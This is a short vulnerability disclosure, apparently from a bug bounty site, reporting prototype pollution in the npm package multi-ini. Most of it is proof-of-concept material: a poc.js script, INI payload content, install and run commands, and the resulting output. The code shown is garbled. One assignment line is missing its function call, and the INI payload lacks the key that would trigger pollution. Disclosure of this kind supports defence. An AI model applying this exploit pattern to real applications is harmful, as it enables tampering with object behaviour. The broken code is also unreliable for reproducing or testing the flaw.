Prototype Pollution in evangelion1204/multi-ini


Reported on

Dec 14th 2020


multi-ini is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC and INI files:
// poc.js
const ini = require('multi-ini');
console.log("Before : " + {}.polluted);
var content ='./payload.ini');
console.log("After : " + {}.polluted);

prototype.polluted = "Yes! Its Polluted"
  1. Execute the following commands in terminal:
npm i multi-ini # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
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